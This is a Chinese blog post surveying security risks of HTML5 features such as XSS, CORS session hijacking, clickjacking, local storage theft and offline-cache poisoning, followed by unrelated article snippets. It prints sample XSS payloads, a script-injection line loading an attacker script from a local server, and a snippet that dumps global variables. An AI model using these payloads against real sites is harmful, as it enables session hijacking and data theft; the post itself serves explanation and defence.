HTML5安全

移动安全问题汇总:https://html5sec.org/

把应用的端扩展到mobile自然而然会带来安全的隐患,特别是对于我们基于HTML5来做跨平台的开发更是如此。HTML5提供了很多特性,各个平台都在努力的实现这些特性,开发者也努力地在使用这些特性,以此求得不一样地体验。然而,事情都有两面性,大多数web应用的安全措施都是基于传统的HTML,没有覆盖到HTML5的新特性,下面来看看由于HTML5新特性而带来的安全隐患:

  • XSS
  • CORS & CSRF
  • Clickjacking
  • Web storage
  • WebSocket
  • Desktop Notifications
  • Geolocation
  • Offline
  • Web worker

1)XSS

XSS(跨站脚本攻击)这里不想全面介绍,这是web安全中最基础的一个问题,大多数web应用都会做XSS防范。HTML5的新特性里提供了很多执行JS的触发点,比如下面几个例子:

  • <video><source onerror="javascript:alert(1)“>
  • <input autofocus onfocus=alert(1)>
  • <form id="test" /><button form="test" formaction="javascript:alert(1)">

这些都给攻击者植入脚本带来了新机会。因此,大家有必要把自己应用里XSS防范措施再好好审查一下,有个哥们总结了一下基于HTML5可以做XSS的点,http://code.google.com/p/html5security/,大家可以参考一下。

web攻击大多数都是组合拳,XSS是很多组合拳中必要的一步,因此,拦住了XSS,也就拦住了大半web攻击,值得大家重视。

2)CORS & CSRF

HTML5之前有SOP(Same Origin Policy)的规范,也就是ajax不能跨域访问,这个玩意导致很多web开发者很痛苦,以至于搞出很多跨域方案,比如JSONP和flash socket。HTML5给大家提供了方便,搞出了一个CORS(Cross Origin Resource Sharing)规范,也就是说在如果在服务端加上Access-Control-Allow-Origin: xxx,也就表示此服务端容许来自xxx的跨域访问,这确实很方便,不过也方便了攻击者使受害者客户端与自己的服务端产生双向通信,以至更方便植入更多东西,比如模拟请求来搞CSRF。下面是一个CORS攻击的流程图:

首先通过XSS等方法来导致受害者的客户端向你的服务器发送Ajax请求,只要你的返回的head里Access-Control-Allow-Origin包含当前客户端的访问的域名,你就可以对客户端返回,然后,你就可以把你想要客户端执行的操作返回给客户端,使其执行,这样你就可以以受害者的身份做你想做的事情。http://www.andlabs.org/tools/sotf/sotf.html这篇文章里介绍了一个方便实施CORS攻击的工具,通过使用这个工具,能更直观感受攻击的全过程:

1. 下载并启动attacker server

2. 在受攻击的网站里植入脚本,这里使用了一个demo网站,并直接在seach里搜索:<script src="http://127.0.0.1:8080/e2.js"></script>,值其载入e2.js并执行

3. 启动攻击console(http://127.0.0.1:8080/sotf.console,注意8080是第一步里配置的,并且此浏览器需要把代理设置为127.0.0.1:1337,1337也是第一步里配置的):

点击‘Hijack Session’后显示受害者正在访问的网站:

这时你就成功的挂住了受害者,你可以向受害者发送你想做的操作,比如,你随意点击左边的链接,你在受害者的浏览器的http请求里能看到,浏览器在悄悄地重放你在console里访问页面的请求:

大致看看e2.js源码也能看出大致的流程。这是很不错的学习案例。

3)Clickjacking

Clickjacking也是一种比较传统的攻击方法,也就是通过对页面的修改欺骗用户的眼睛,使其做了不想做的事儿,比如点击下面的图片:

而实际上此页面上面还附有一个隐藏的iframe:

使得你无意识地到amazon上买了东西。这种攻击其实是很难完成的,一是很难诱导用户填写一些值,二是由于SOP的限制iframe里脚本的行为,但HTML5的新特性又方便了实施Clickjacking。https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf详细地介绍了如何基于drag特性来实施Clickjacking。

4)Web storage

HTML5提供了local storage能力,比如localstorage API和web database,如果把关键信息存在local storage里,就有被窃取的可能。虽然HTML5的规范里规定local storage只能被同域访问,但通过XSS和Domain Name System (DNS) cache poisoning等方法就能绕开这个限制。所以不能把关键信息不做任何保护的形式放在local storage里。另外,有些开发者也习惯把一些关键信息放在global变量里,比如登录密码等,这些变量也是有被泄漏的可能,比如下面这段代码就能遍历所有global变量:

 

[javascript] view plaincopy

 

  1. for(i in window){  
  2. obj=window[i];  
  3. if(obj!=null||obj!=undefined)  
  4. var type = typeof(obj);  
  5. if(type=="object"||type=="string")  
  6. {  
  7. console.log("Name:"+i)  
  8. try{  
  9. my=JSON.stringify(obj);  
  10. console.log(my)  
  11. }catch(ex){}  
  12. }  
  13. 以此完全可以通过XSS来执行上面类似的代码。

    5) WebSocket

    WebSocket是HTML5非常受人关注的特性,它提供了客户端与服务端的双向通信能力,这也暴露了一些安全隐患,比如:

  14. 暴露成后门,成为攻击者植入脚本的shell
  15. 通过客户端做端口扫描

http://www.andlabs.org/tools/jsrecon.html是一个基于WebSocket的端口扫描器,从中可以体会到如何websocket来进行攻击。

6)Desktop Notifications

Desktop Notifications是HTML5在右下角弹出本地消息的能力,如下图所示:

这种本地消息极其容易诱惑用户去点击,所以通过这种形式,能很容易诱导用户泄漏关键信息,比如:

7)Geolocation

Geolocation使得web应用能拿到客户端地理信息,也导致攻击者可以窃取用户的地理信息,有了地理信息就可以做很多事情,比如:

  • 发送本地化的广告
  • 跟踪
  • 售卖个人信息

8)Offline

Offline是HTML5提供的缓存静态资源的能力,通过以下配置:

 

[plain] view plaincopy

 

  1. CACHE MANIFEST  
  2. /file1.html  
  3. /images/someImage.jpg  
  4. /JavaScript/script1.js  

就可以缓存这三个文件,下次就直接在本地访问。这种方式也有安全隐患,比如下面的步骤:

 

  1. 在有无密码保护的wifi的环境中(比如咖啡厅)里,截取网络通信,伪造页面返回,比如login.html
  2. 把login.html作为cache缓存起来
  3. 用户在将来就算离开wifi环境下依然访问的是你伪造的login.html,从而一直受你的控制

9)Web worker

Web worker是HTML5提供的多线程任务的能力,这使得攻击者可以执行一些需要长时间运行的脚本,并且是background的,可以神不知鬼不觉。

从上面这些例子可以看出,HTML5的各种新特性确实是双刃剑,安全隐患不止这么一些,我们对于这些新特性的应用,需要多深层次的想想,看看有没有安全隐患。

时间: 2016-04-06
Tags: 安全, HTML5

HTML5安全的相关文章

加入HTML5支持 Excel网页版详细内容曝光

Web版Excel截图 Web版Excel依然充满Metro元素 这个是Web版PowerPiont 电脑教程 Web版Excel支持HTML5 从图中可以看出,网页版的Excel和桌面版本极其相似.微软表示,网页版Excel整个界面十分清爽,根据设备不同可以自动调整,用户能够在不同的设备上都体验到一样的Excel.

HTML5 Canvas捕获用于游戏开发的键盘、鼠标和触摸事件

学习如何处理键盘和鼠标事件,如何阻止 Web 浏览器的默认事件行为,以及如何向游戏对象的某种逻辑表示传播事件.此外,还将学习如何处理 iPhone 和 iPad 等移动设备上与设备无关的(device-agnostic)输入. 令拥有 Flash 或 Silverlight 背景的开发人员感到惊讶的是,为 HTML5 Canvas 编写的应用程序在处理用户输入方面并没有什么特立独行之处.实质上,从启用了 JavaScript 的 Web 浏览器诞生之初开始,HTML 用户输入就涉及到使用内置于浏

Html5 CSS3新标签解释及用法

HTML 5 是一个新的网络标准,目标在于取代现有的 HTML 4.01, XHTML 1.0 and DOM Level 2 HTML 标准.它希望能够减少浏览器对于需要插件的丰富性网络应用服务(plug-in-based rich internet application,RIA),如Adobe Flash, Microsoft Silverlight, 与 Sun JavaFX 的需求. HTML 5 提供了一些新的元素和属性,反映典型的现代用法网站.其中有些是技术上类似 <div> 和

html5文件上传

上文介绍了如何通过ajax异步上传文件,html5对file的新接口,可以使得在页面上,对用户也有更好的体验. 页面上要做的,仅仅是添加一个html标签: [cce lang="html"] <input id="track" name="track" type="file" multiple="multiple" onchange="showInfo();" /> [/cc

html5+-新手学习HTML5的几个小问题?

问题描述 新手学习HTML5的几个小问题? 在下刚学HTML5不久,正在自制一个HTML5视频播放器(即使用video标签),现遇到如下几个问题,想了好久不能解决?求大神解答: ①IE下视频全屏(即video.msRequestFullscreen();)下我的自制控制条(我没有使用video标签自己的控制条)不见了?这是怎么回事?(附:这个功能在Chrome下我以调试正常) ②IE下切换视频分辨率时,我明明设置了将切换后视频的播放进度设为切换之前视频的播放进度(即 var vTime = vi

【HTML5】H5新标签大实例

以下是测试Html5新标签性能的大实例: 首先是效果: 代码: <html> <head> <title>Test</title> </head> <body> <h2>header标签定义文档的页眉(介绍信息)</h2> <header> <h3>Welcome to my homepage</h3> <p>My name is Donald Duck</

HTML5中语义化 b 和 i 标签

  b 和 i 标签在现在的 Web 标准潜规则中是不推荐使用,甚至是反对使用的,因为认为他们只是"表现"粗体和斜体,而没有任何"语义".更多的用 strong 和 em 标签代替. 而在新的 HTML5 工作草案 中对于 b 和 i 标签是这样定义的: 从规范中可以注意到:b 和 i 元素将被赋予真正的语义.更应有预见性注意 b .i 与 strong .em 的不同使用 . A Preview of HTML 5 The b element now repres

随着HTML5的普及,定制化的移动CRM应用时代即将到来

 近年来,移动CRM应用异常火爆,大多为原生APP形式,且大部分产品不支持定制.对于很多用户来讲,已经不再满足于只是有一个移动端CRM了,更希望用上根据自身业务流程定制的移动CRM.     在移动端,用原生APP进行这样的纯个性化定制的成本是很高的.但使用HTML5就变得很容易了,HTML5的特点是跨平台.跨设备一次开发,多处使用,用户无需下载,瞬间打开,用户无需升级,永远最新,无需经过应用商店发布.     当然,HTML5也有它的局限性,比如,使用CSS样式或者CSS动画的用户体验无法与原

使用 HTML5 Canvas 实现移动平台动画(游戏)的一些痛点和思路

前言 最近一直在做一些HTML5 Canvas加速方面的事情,HTML5已经出来相当长一段时间,各浏览器厂商也基本上已经支持!从目前来看,HTML5的大规模普及还是雷声大,雨点小:但从长远来看,HTML5由于其诸多优点,比如本文提到到Canvas元素支持,将会逐渐成为主流,特别是在复杂场景应用中! 本文主要从目前HTML5 Canvas 在实现动画(游戏)中遇到的部分痛点入手,尝试提供一些相应的解决办法和思路! 痛点 性能问题:目前性能问题HTML5 Canvas的性能问题在Android中表现

【COCOS2D-HTML5 开发之一】新建HTML5项目及简单阐述与COCOS2D/X引擎关系

本站文章均为 李华明Himi 原创,转载务必在明显处注明:  转载自[黑米GameDev街区] 原文链接: http://www.himigame.com/cocos2d-html5/1463.html             真的是有一段时间没写博了,这段时间呢,发生的事情真的挺多,另外自己呢也闲来做了一些自己的喜欢的东西,主要做的还是基于Mac系统的Cocoa框架的各种编辑器吧.(对了,今年初也出了自己第二本书<iOS游戏编程之从零开始-Cocos2d-x与cocos2d引擎游戏开发>)